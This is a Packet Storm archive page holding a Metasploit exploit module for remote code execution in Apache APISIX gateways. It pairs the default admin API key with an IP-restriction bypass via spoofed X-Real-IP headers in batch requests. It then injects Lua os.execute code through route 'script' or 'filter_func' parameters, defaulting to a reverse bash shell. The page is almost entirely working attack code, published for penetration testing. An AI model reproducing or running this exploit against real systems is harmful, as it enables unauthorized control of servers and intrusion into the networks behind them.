exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Apache APISIX Remote Code Execution

Apache APISIX Remote Code Execution
Posted Mar 7, 2022
Authored by Heyder Andrade, YuanSheng Wang | Site metasploit.com

Apache APISIX has a default, built-in API token that can be used to obtain full access of the admin API. Access to this API allows for remote LUA code execution through the script parameter added in the 2.x version. This module also leverages another vulnerability to bypass th e IP restriction plugin.

tags | exploit, remote, code execution
advisories | CVE-2020-13945, CVE-2022-24112
SHA-256 | 75f7fd4db82a985948b400b9686ffc05f654d453b228621992abd5bb2505add2

Apache APISIX Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'APISIX Admin API default access token RCE',
'Description' => %q{
Apache APISIX has a default, built-in API token edd1c9f034335f136f87ad84b625c8f1 that can be used to access
all of the admin API, which leads to remote LUA code execution through the script parameter added in the 2.x
version. This module also leverages another vulnerability to bypass the IP restriction plugin.
},
'Author' => [
'Heyder Andrade <eu[at]heyderandrade.org>', # module development and debugging
'YuanSheng Wang <membphis[at]gmail.com>' # discovered
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2020-13945'],
['CVE', '2022-24112'],
['URL', 'https://github.com/apache/apisix/pull/2244'],
['URL', 'https://seclists.org/oss-sec/2020/q4/187'],
['URL', 'https://www.openwall.com/lists/oss-security/2022/02/11/3']
],
'DisclosureDate' => '2020-12-07',
'Arch' => ARCH_CMD,
'Platform' => %w[unix],
'Targets' => [
[
'Automatic', { 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } }
]
],
'Privileged' => false,
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Path to the APISIX DocumentRoot', '/apisix']),
OptString.new('API_KEY', [true, 'Admin API KEY (Default: edd1c9f034335f136f87ad84b625c8f1)', 'edd1c9f034335f136f87ad84b625c8f1']),
OptString.new('ALLOWED_IP', [true, 'IP in the allowed list', '127.0.0.1'])
])
end

def check
print_status("Checking component version to #{datastore['RHOST']}:#{datastore['RPORT']}")
# batch request is the preferred method because it bypass the ip-restriction plugin
res = nil
if batch_request_enabled?

pipeline = [
{
method: 'GET',
path: "#{target_uri.path}/admin/routes"
}
]
res = batch_request(batch_body(pipeline))
vprint_good('Can perform authenticated requests through batch requests') if res && res.code == 200

pipeline = [
{
method: 'GET',
path: "#{target_uri.path}/admin/routes/index"
}
]
res = batch_request(batch_body(pipeline))

else
vprint_error('The batch-requests plugin is not enabled')

vprint_good('There is direct access to the routes using the provided token') if direct_access?

res = apisix_request({
'uri' => normalize_uri(target_uri.path, Rex::Text.rand_text_alpha_lower(6)),
'method' => 'GET'
})

end
unless res && res.headers.key?('Server')
return Exploit::CheckCode::Unknown('Unable to determine which web server is running')
end

res.headers['Server'].match(%r{(.*)/([\d|.]+)$})

server = Regexp.last_match(1) || nil
version = Rex::Version.new(Regexp.last_match(2)) || nil

if server && server.match(/APISIX/)
vprint_status("Found an #{server} #{version} http server header")
return Exploit::CheckCode::Appears if version > Rex::Version.new('2')
end
return Exploit::CheckCode::Safe('A vulnerable version if APISIX server is not running')
end

def exploit
# batch request is the preferred method because it bypass the ip-restriction plugin
if batch_request_enabled?
@payload_uri = "/#{Rex::Text.rand_text_alpha_lower(3)}/#{Rex::Text.rand_text_alpha_lower(6)}"
filter_func_exec
# trigger the payload
apisix_request({
'uri' => normalize_uri(@payload_uri),
'method' => 'GET'
})
else
add_route
end
handler
end

def cleanup
return unless @payload_uri

data = {
'uri' => @payload_uri
}
pipeline = [
{
'path' => normalize_uri(target_uri.path, '/admin/routes/index'),
'method' => 'DELETE',
'body' => JSON.dump(data)
}
]
vprint_status("Deleting route #{@payload_uri}")
# remove the route
res = batch_request(batch_body(pipeline))
vprint_error('Unable to delete the route') unless res.code == 200
end

def apisix_request(params = {})
params.merge!({
'ctype' => 'application/json',
'headers' => {
'X-API-KEY' => datastore['API_KEY'],
'Accept' => '*/*',
'Accept-Encoding' => 'gzip, deflate'
}
})

send_request_cgi(params)
end

# Using batch request to bypass ip-restriction policies (CVE-2022-24112)
def batch_request(data = nil)
params = {
'uri' => normalize_uri(target_uri.path, '/batch-requests'),
'method' => 'POST'
}
params.merge!({ 'data' => data }) if data

apisix_request(params)
end

def batch_body(pipeline = [])
headers = {
'X-Real-IP': datastore['ALLOWED_IP'].to_s,
'X-API-KEY' => datastore['API_KEY'].to_s,
'Content-Type' => 'application/json'
}

{
'headers' => headers,
'timeout' => 1500,
'pipeline' => pipeline
}.to_json
end

def base_data
{
'uri' => Rex::Text.rand_text_alpha_lower(6),
'upstream' => {
'type' => 'roundrobin',
'nodes' => { Faker::Internet.domain_name.to_s => 1 }
}
}
end

def add_route
# This method use the script parameter to execute the payload
stub = "os.execute('PAYLOAD');".gsub('PAYLOAD', payload.raw.to_s.gsub('\'') { '\\\"' })
# binding.pry
data = base_data.merge({
'script' => stub
})
uri = normalize_uri(target_uri.path, '/admin/routes')
if batch_request_enabled?
pipeline = [
{
'method' => 'POST',
'path' => uri,
'body' => data
}
]
batch_request(batch_body(pipeline))
else
params = {
'method' => 'POST',
'uri' => uri,
'data' => JSON.dump(data)
}
apisix_request(params)
end
end

def filter_func_exec
# This method use the filter_func parameter to execute the payload
stub = "function(vars) os.execute('PAYLOAD'); return true end".gsub('PAYLOAD', payload.raw.to_s.gsub('\'') { '\\\"' })

data = base_data.merge({
'uri' => @payload_uri,
'name' => Rex::Text.rand_text_alpha_lower(6),
'filter_func' => stub
})
if batch_request_enabled?
pipeline = [
{
'path' => normalize_uri(target_uri.path, '/admin/routes/index'),
'method' => 'PUT',
'body' => JSON.dump(data)
}
]
# add the route
res = batch_request(batch_body(pipeline))
vprint_error('Unable to create route') unless res.code == 200
else
params = {
'method' => 'PUT',
'uri' => normalize_uri(target_uri.path, '/admin/routes/index'),
'data' => JSON.dump(data)
}
apisix_request(params)
end
end

def direct_access?
res = apisix_request({
'uri' => normalize_uri(target_uri.path, '/admin/routes'),
'method' => 'GET'
})

return false if [401, 403].include?(res.code) || res.body.match?(/'ip-restriction'/)

true
end

def batch_request_enabled?
res = apisix_request({
'uri' => normalize_uri(target_uri.path, '/batch-requests'),
'method' => 'POST'
})

return false if res.code == 404

true
end

end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close